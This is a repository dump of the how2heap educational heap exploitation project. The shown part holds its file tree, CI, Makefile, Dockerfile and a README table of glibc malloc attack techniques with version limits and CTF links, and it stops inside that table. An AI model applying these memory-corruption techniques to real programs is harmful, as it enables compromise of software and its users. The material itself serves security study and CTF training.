Showing preview only (1,794K chars total). Download the full file or copy to clipboard to get everything.
Repository: shellphish/how2heap
Branch: master
Commit: 4ba25d58648b
Files: 366
Total size: 1.7 MB
Directory structure:
gitextract_asiwyu13/
├── .github/
│ └── workflows/
│ └── ci.yml
├── .gitignore
├── .gitmodules
├── Dockerfile
├── LICENSE
├── Makefile
├── README.md
├── calc_tcache_idx.c
├── ci/
│ ├── build/
│ │ ├── Dockerfile
│ │ └── action.yml
│ └── test/
│ └── action.yml
├── first_fit.c
├── glibc_2.23/
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── house_of_einherjar.c
│ ├── house_of_force.c
│ ├── house_of_gods.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_orange.c
│ ├── house_of_roman.c
│ ├── house_of_spirit.c
│ ├── house_of_storm.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── overlapping_chunks_2.c
│ ├── poison_null_byte.c
│ ├── sysmalloc_int_free.c
│ ├── unsafe_unlink.c
│ ├── unsorted_bin_attack.c
│ └── unsorted_bin_into_stack.c
├── glibc_2.24/
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── house_of_einherjar.c
│ ├── house_of_force.c
│ ├── house_of_gods.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_roman.c
│ ├── house_of_spirit.c
│ ├── house_of_storm.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── overlapping_chunks_2.c
│ ├── poison_null_byte.c
│ ├── sysmalloc_int_free.c
│ ├── unsafe_unlink.c
│ ├── unsorted_bin_attack.c
│ └── unsorted_bin_into_stack.c
├── glibc_2.27/
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_force.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_storm.c
│ ├── house_of_tangerine.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_stashing_unlink_attack.c
│ ├── unsafe_unlink.c
│ ├── unsorted_bin_attack.c
│ └── unsorted_bin_into_stack.c
├── glibc_2.31/
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_io.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.32/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_io.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.33/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_io.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.34/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.35/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.36/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.37/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.38/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.39/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.40/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.41/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ └── unsafe_unlink.c
├── glibc_2.42/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_hijacking.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ └── unsafe_unlink.c
├── glibc_ChangeLog.md
├── glibc_run.sh
├── malloc_playground.c
└── obsolete/
└── glibc_2.27/
└── tcache_dup.c
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/workflows/ci.yml
================================================
name: CI
on:
push:
branches:
- "**"
pull_request:
workflow_dispatch:
jobs:
v2_23:
runs-on: ubuntu-22.04
name: glibc-v2.23
steps:
- name: build how2heap
uses: shellphish/how2heap/ci/build@master
with:
ubuntu: '16.04'
- name: test how2heap
uses: shellphish/how2heap/ci/test@master
with:
ubuntu: '16.04'
glibc: '2.23'
v2_24:
runs-on: ubuntu-22.04
name: glibc-v2.24
steps:
- name: build how2heap
uses: shellphish/how2heap/ci/build@master
with:
ubuntu: '16.04'
- name: test how2heap
uses: shellphish/how2heap/ci/test@master
with:
ubuntu: '16.10'
glibc: '2.24'
v2_27:
runs-on: ubuntu-22.04
name: glibc-v2.27
steps:
- name: build how2heap
uses: shellphish/how2heap/ci/build@master
with:
ubuntu: '18.04'
- name: test how2heap
uses: shellphish/how2heap/ci/test@master
with:
ubuntu: '18.04'
glibc: '2.27'
v2_31:
runs-on: ubuntu-22.04
name: glibc-v2.31
steps:
- name: build how2heap
uses: shellphish/how2heap/ci/build@master
with:
ubuntu: '20.04'
- name: test how2heap
uses: shellphish/how2heap/ci/test@master
with:
ubuntu: '20.04'
glibc: '2.31'
v2_32:
runs-on: ubuntu-22.04
name: glibc-v2.32
steps:
- name: build how2heap
uses: shellphish/how2heap/ci/build@master
with:
ubuntu: '20.04'
- name: test how2heap
uses: shellphish/how2heap/ci/test@master
with:
ubuntu: '20.10'
glibc: '2.32'
v2_33:
runs-on: ubuntu-22.04
name: glibc-v2.33
steps:
- name: build how2heap
uses: shellphish/how2heap/ci/build@master
with:
ubuntu: '20.04'
- name: test how2heap
uses: shellphish/how2heap/ci/test@master
with:
ubuntu: '21.04'
glibc: '2.33'
v2_34:
runs-on: ubuntu-22.04
name: glibc-v2.34
steps:
- name: build how2heap
uses: shellphish/how2heap/ci/build@master
with:
ubuntu: '20.04'
- name: test how2heap
uses: shellphish/how2heap/ci/test@master
with:
ubuntu: '21.10'
glibc: '2.34'
v2_35:
runs-on: ubuntu-22.04
name: glibc-v2.35
steps:
- name: build how2heap
uses: shellphish/how2heap/ci/build@master
with:
ubuntu: '22.04'
- name: test how2heap
uses: shellphish/how2heap/ci/test@master
with:
ubuntu: '22.04'
glibc: '2.35'
v2_36:
runs-on: ubuntu-22.04
name: glibc-v2.36
steps:
- name: build how2heap
uses: shellphish/how2heap/ci/build@master
with:
ubuntu: '22.04'
- name: test how2heap
uses: shellphish/how2heap/ci/test@master
with:
ubuntu: '22.10'
glibc: '2.36'
v2_37:
runs-on: ubuntu-22.04
name: glibc-v2.37
steps:
- name: build how2heap
uses: shellphish/how2heap/ci/build@master
with:
ubuntu: '22.04'
- name: test how2heap
uses: shellphish/how2heap/ci/test@master
with:
ubuntu: '23.04'
glibc: '2.37'
v2_38:
runs-on: ubuntu-22.04
name: glibc-v2.38
steps:
- name: build how2heap
uses: shellphish/how2heap/ci/build@master
with:
ubuntu: '22.04'
- name: test how2heap
uses: shellphish/how2heap/ci/test@master
with:
ubuntu: '23.10'
glibc: '2.38'
v2_39:
runs-on: ubuntu-22.04
name: glibc-v2.39
steps:
- name: build how2heap
uses: shellphish/how2heap/ci/build@master
with:
ubuntu: '24.04'
- name: test how2heap
uses: shellphish/how2heap/ci/test@master
with:
ubuntu: '24.04'
glibc: '2.39'
v2_40:
runs-on: ubuntu-22.04
name: glibc-v2.40
steps:
- name: build how2heap
uses: shellphish/how2heap/ci/build@master
with:
ubuntu: '24.04'
- name: test how2heap
uses: shellphish/how2heap/ci/test@master
with:
ubuntu: '24.10'
glibc: '2.40'
v2_41:
runs-on: ubuntu-22.04
name: glibc-v2.41
steps:
- name: build how2heap
uses: shellphish/how2heap/ci/build@master
with:
ubuntu: '24.04'
- name: test how2heap
uses: shellphish/how2heap/ci/test@master
with:
ubuntu: '25.04'
glibc: '2.41'
v2_42:
runs-on: ubuntu-22.04
name: glibc-v2.42
steps:
- name: build how2heap
uses: shellphish/how2heap/ci/build@master
with:
ubuntu: '24.04'
- name: test how2heap
uses: shellphish/how2heap/ci/test@master
with:
ubuntu: '25.10'
glibc: '2.42'
================================================
FILE: .gitignore
================================================
glibc_build
glibc_src
glibc_versions
.gdb_history
# ignore binaries in root
calc_tcache_idx
first_fit
malloc_playground
# ignore all built binaries
glibc_2.*/*
!glibc_2.*/*.*
# general
**.swp
================================================
FILE: .gitmodules
================================================
[submodule "glibc-all-in-one"]
path = glibc-all-in-one
#url = https://github.com/matrix1001/glibc-all-in-one.git
url = https://github.com/fr0ster/glibc-all-in-one.git
================================================
FILE: Dockerfile
================================================
from ubuntu:20.04
run apt-get update && apt-get install -y binutils git make vim gcc patchelf python-is-python3 python3-pip
run pip3 install requests
run git clone --depth 1 https://github.com/shellphish/how2heap /root/how2heap
run git config --global --add safe.directory "*"
workdir /root/how2heap
run bash
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2020 Shellphish
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: Makefile
================================================
.PHONY: help clean distclean all test
VERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39 2.40 2.41 2.42
TECH_BINS := $(patsubst %.c,%,$(wildcard glibc_*/*.c))
BASE_BINS := $(patsubst %.c,%,$(wildcard *.c))
DOWNLOADED := glibc-all-in-one/libs glibc-all-in-one/debs
BINS := $(TECH_BINS) $(BASE_BINS)
ARCH := amd64
ifeq ($(H2H_USE_SYSTEM_LIBC),)
H2H_USE_SYSTEM_LIBC := Y
endif
help:
@echo 'make help - show this message'
@echo 'make base - build all base binaries, namely `malloc_playground`, `first_fit`, `calc_tcache_idx`'
@echo 'make <version> - build all the techniques for a specific version. e.g. `make v2.39`'
@echo 'make clean - remove all built binaries'
@echo 'make distclean - remove all built binaries and downloaded libcs'
@echo 'make all - build all binaries'
@echo 'make test version=<version> - test run all techniques for a specific version. e.g. `make test version=2.39`'
CFLAGS += -std=c99 -g -Wno-unused-result -Wno-free-nonheap-object
LDLIBS += -ldl
base: $(BASE_BINS)
# initialize glibc-all-in-one
libc_ready:
git submodule update --init --recursive
cd glibc-all-in-one && ./update_list
# populate the download_glibc_<version> rules
$(addprefix download_glibc_, $(VERSIONS)): libc_ready
@echo $@
version=$(patsubst download_glibc_%,%,$@); \
libc=$$(cat glibc-all-in-one/list | grep "$$version" | grep "$(ARCH)" | head -n 1); \
old_libc=$$(cat glibc-all-in-one/old_list | grep "$$version" | grep "$(ARCH)" | head -n 1); \
if [ -z $$libc ]; then libc=$$old_libc; script="download_old"; else libc=$$libc; script="download"; fi; \
cd glibc-all-in-one; \
rm -rf libs/$$libc; \
./$$script $$libc
# populate the make <version> rules
ifeq ($(H2H_USE_SYSTEM_LIBC),Y)
$(foreach version,$(VERSIONS),$(eval v$(version): $(patsubst %.c,%,$(wildcard glibc_$(version)/*.c))))
else
$(foreach version,$(VERSIONS),$(eval v$(version): download_glibc_$(version) $(patsubst %.c,%,$(wildcard glibc_$(version)/*.c)) ))
endif
# the compilation rules
%: %.c
version=$(word 1, $(subst /, ,$(patsubst glibc_%,%,$@))); \
if [ "$(H2H_USE_SYSTEM_LIBC)" = "Y" ]; \
then \
$(CC) $(CFLAGS) $(DIR_CFLAGS_$(@D)) $^ -o $@ $(LDLIBS); \
else \
$(CC) $(CFLAGS) $(DIR_CFLAGS_$(@D)) $^ -o $@ $(LDLIBS) \
-Xlinker -rpath=$$(realpath glibc-all-in-one/libs/$$version*) \
-Xlinker -I$$(realpath glibc-all-in-one/libs/$$version*/ld-linux-x86-64.so.2) \
-Xlinker $$(realpath glibc-all-in-one/libs/$$version*/libc.so.6) \
-Xlinker $$(realpath glibc-all-in-one/libs/$$version*/libdl.so.2); \
fi
all: $(BINS)
clean:
@rm -f $(BINS)
@echo "all the built binaries are removed."
distclean:
@rm -f $(BINS)
@rm -rf $(DOWNLOADED)
@echo "all the built binaries and all downloaded libcs are removed."
define test_poc =
echo $(poc)
for i in $$(seq 0 20);\
do\
LIBC_FATAL_STDERR_=1 $(poc) 1>/dev/null 2>&1 0>&1;\
if [ "$$?" = "0" ]; then break; fi;\
if [ "$$i" = "20" ]; then exit 1; fi;\
done
echo "success"
endef
test: v$(version)
@$(foreach poc,$(patsubst %.c,%,$(wildcard glibc_$(version)/*.c)),$(call test_poc,$(poc));)
================================================
FILE: README.md
================================================
# Educational Heap Exploitation
This repo is for learning various heap exploitation techniques.
We use Ubuntu's Libc releases as the gold-standard. Each technique is verified to work on corresponding Ubuntu releases.
You can run `apt source libc6` to download the source code of the Libc you are using on a Debian-based operating system. You can also click :arrow_forward: to debug the technique in your browser using gdb.
We came up with the idea during a hack meeting, and have implemented the following techniques:
| File | :arrow_forward: | Technique | Glibc-Version | Patch | Applicable CTF Challenges |
|------|-----|-----------|---------------|-------|---------------------------|
| [first_fit.c](first_fit.c) | | Demonstrating glibc malloc's first-fit behavior. | | | |
| [calc_tcache_idx.c](calc_tcache_idx.c)| | Demonstrating glibc's tcache index calculation.| | | |
| [fastbin_dup.c](glibc_2.35/fastbin_dup.c) | <a href="https://wargames.ret2.systems/level/how2heap_fastbin_dup_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Tricking malloc into returning an already-allocated heap pointer by abusing the fastbin freelist. | latest | | |
| [fastbin_dup_into_stack.c](glibc_2.35/fastbin_dup_into_stack.c) | <a href="https://wargames.ret2.systems/level/how2heap_fastbin_dup_into_stack_2.23" title="Debug Technique In Browser">:arrow_forward:</a> | Tricking malloc into returning a nearly-arbitrary pointer by abusing the fastbin freelist. | latest | | [9447-search-engine](https://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-2015/exploitation/search-engine), [0ctf 2017-babyheap](https://web.archive.org/web/20181104155842/http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html) |
| [fastbin_dup_consolidate.c](glibc_2.35/fastbin_dup_consolidate.c) | <a href="https://wargames.ret2.systems/level/how2heap_fastbin_dup_consolidate_2.23" title="Debug Technique In Browser">:arrow_forward:</a> | Tricking malloc into returning an already-allocated heap pointer by putting a pointer on both fastbin freelist and the top chunk. | latest | | [Hitcon 2016 SleepyHolder](https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder) |
| [unsafe_unlink.c](glibc_2.35/unsafe_unlink.c) | <a href="https://wargames.ret2.systems/level/how2heap_unsafe_unlink_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting free on a corrupted chunk to get arbitrary write. | latest | | [HITCON CTF 2014-stkof](http://acez.re/ctf-writeup-hitcon-ctf-2014-stkof-or-modern-heap-overflow/), [Insomni'hack 2017-Wheel of Robots](https://gist.github.com/niklasb/074428333b817d2ecb63f7926074427a) |
| [house_of_spirit.c](glibc_2.35/house_of_spirit.c) | <a href="https://wargames.ret2.systems/level/how2heap_house_of_spirit_2.23" title="Debug Technique In Browser">:arrow_forward:</a> | Frees a fake fastbin chunk to get malloc to return a nearly-arbitrary pointer. | latest | | [hack.lu CTF 2014-OREO](https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreo) |
| [poison_null_byte.c](glibc_2.35/poison_null_byte.c) | <a href="https://wargames.ret2.systems/level/how2heap_poison_null_byte_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting a single null byte overflow. | latest | | [PlaidCTF 2015-plaiddb](https://github.com/ctfs/write-ups-2015/tree/master/plaidctf-2015/pwnable/plaiddb), [BalsnCTF 2019-PlainNote](https://gist.github.com/st424204/6b5c007cfa2b62ed3fd2ef30f6533e94?fbclid=IwAR3n0h1WeL21MY6cQ_C51wbXimdts53G3FklVIHw2iQSgtgGo0kR3Lt-1Ek)|
| [house_of_lore.c](glibc_2.35/house_of_lore.c) | <a href="https://wargames.ret2.systems/level/how2heap_house_of_lore_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Tricking malloc into returning a nearly-arbitrary pointer by abusing the smallbin freelist. | latest | | |
| [overlapping_chunks.c](glibc_2.27/overlapping_chunks.c) | <a href="https://wargames.ret2.systems/level/how2heap_overlapping_chunks_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Exploit the overwrite of a freed chunk size in the unsorted bin in order to make a new allocation overlap with an existing chunk | < 2.29 | [patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c) | [hack.lu CTF 2015-bookstore](https://github.com/ctfs/write-ups-2015/tree/master/hack-lu-ctf-2015/exploiting/bookstore), [Nuit du Hack 2016-night-deamonic-heap](https://github.com/ctfs/write-ups-2016/tree/master/nuitduhack-quals-2016/exploit-me/night-deamonic-heap-400) |
| [overlapping_chunks_2.c](glibc_2.23/overlapping_chunks_2.c) | <a href="https://wargames.ret2.systems/level/how2heap_overlapping_chunks_2_2.23" title="Debug Technique In Browser">:arrow_forward:</a> | Exploit the overwrite of an in use chunk size in order to make a new allocation overlap with an existing chunk | < 2.29|[patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c) | |
| [mmap_overlapping_chunks.c](glibc_2.35/mmap_overlapping_chunks.c) | | Exploit an in use mmap chunk in order to make a new allocation overlap with a current mmap chunk | latest | | |
| [house_of_force.c](glibc_2.27/house_of_force.c) | <a href="https://wargames.ret2.systems/level/how2heap_house_of_force_2.27" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting the Top Chunk (Wilderness) header in order to get malloc to return a nearly-arbitrary pointer | < 2.29 | [patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c) | [Boston Key Party 2016-cookbook](https://github.com/ctfs/write-ups-2016/tree/master/boston-key-party-2016/pwn/cookbook-6), [BCTF 2016-bcloud](https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200) |
| [unsorted_bin_into_stack.c](glibc_2.27/unsorted_bin_into_stack.c) | <a href="https://wargames.ret2.systems/level/how2heap_unsorted_bin_into_stack_2.23" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting the overwrite of a freed chunk on unsorted bin freelist to return a nearly-arbitrary pointer. | < 2.29 | [patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c)| |
| [unsorted_bin_attack.c](glibc_2.27/unsorted_bin_attack.c) | <a href="https://wargames.ret2.systems/level/how2heap_unsorted_bin_attack_2.27" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting the overwrite of a freed chunk on unsorted bin freelist to write a large value into arbitrary address | < 2.29 | [patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c) | [0ctf 2016-zerostorage](https://github.com/ctfs/write-ups-2016/tree/master/0ctf-2016/exploit/zerostorage-6) |
| [large_bin_attack.c](glibc_2.35/large_bin_attack.c) | <a href="https://wargames.ret2.systems/level/how2heap_large_bin_attack_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting the overwrite of a freed chunk on large bin freelist to write a large value into arbitrary address | < 2.42 | [patch](https://patchwork.sourceware.org/project/glibc/patch/20250214053454.2346370-1-benjamin.p.kallus.gr@dartmouth.edu/) | [0ctf 2018-heapstorm2](https://dangokyo.me/2018/04/07/0ctf-2018-pwn-heapstorm2-write-up/) |
| [house_of_einherjar.c](glibc_2.35/house_of_einherjar.c) | <a href="https://wargames.ret2.systems/level/how2heap_house_of_einherjar_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting a single null byte overflow to trick malloc into returning a controlled pointer | latest | | [Seccon 2016-tinypad](https://gist.github.com/hhc0null/4424a2a19a60c7f44e543e32190aaabf) |
